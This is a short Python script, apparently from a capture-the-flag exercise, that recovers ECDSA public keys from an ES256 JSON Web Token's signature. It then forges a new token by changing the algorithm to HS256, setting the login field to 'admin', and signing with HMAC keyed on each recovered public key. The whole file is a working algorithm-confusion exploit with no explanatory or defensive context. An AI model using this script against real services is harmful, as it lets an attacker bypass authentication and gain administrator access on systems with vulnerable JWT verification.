recover_ecdsa.py

#pip install ecdsa
#
import base64
import hashlib
from hashlib import sha256
import hmac

from ecdsa.ecdsa import Signature, generator_256

from ecdsa import VerifyingKey, NIST256p

import json


jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJsb2dpbiI6InBsb3AifQ.QbxYBwbXIhaP9HKy0O_3ilTx87EMofiX9LrvSkmmo9wmtPuvhJshX82oACDwZratwTbOyfzW_WWblBOPhCqAdw=="

h,p,s = jwt.split(".")

signature = base64.urlsafe_b64decode(s)


sig = Signature(int.from_bytes(signature[0:32], "big"), int.from_bytes(signature[32:], "big"))

keys = sig.recover_public_keys(int.from_bytes(sha256((h+"."+p).encode('utf-8')).digest(), 'big'),generator_256)

header = json.loads(str(base64.urlsafe_b64decode(h+"==").decode('utf8')))
payload = json.loads(str(base64.urlsafe_b64decode(p+"==").decode('utf8')))
header['alg'] = "HS256"
payload['login'] = "admin"
print(header)
print(payload)
h2 = base64.urlsafe_b64encode(json.dumps(header).encode('utf8')).decode('utf8')
p2 = base64.urlsafe_b64encode(json.dumps(payload).encode('utf8')).decode('utf8')


for key in keys:
    vk = VerifyingKey.from_public_point(key.point, curve=NIST256p)
    signing = str(vk.to_pem().decode("utf-8"))
    print(signing)
    newsig  = base64.urlsafe_b64encode(hmac.new(vk.to_pem(), (h2+'.'+p2).encode('utf8'), hashlib.sha256).digest()).decode('utf8')
    print(h2+'.'+p2+'.'+newsig)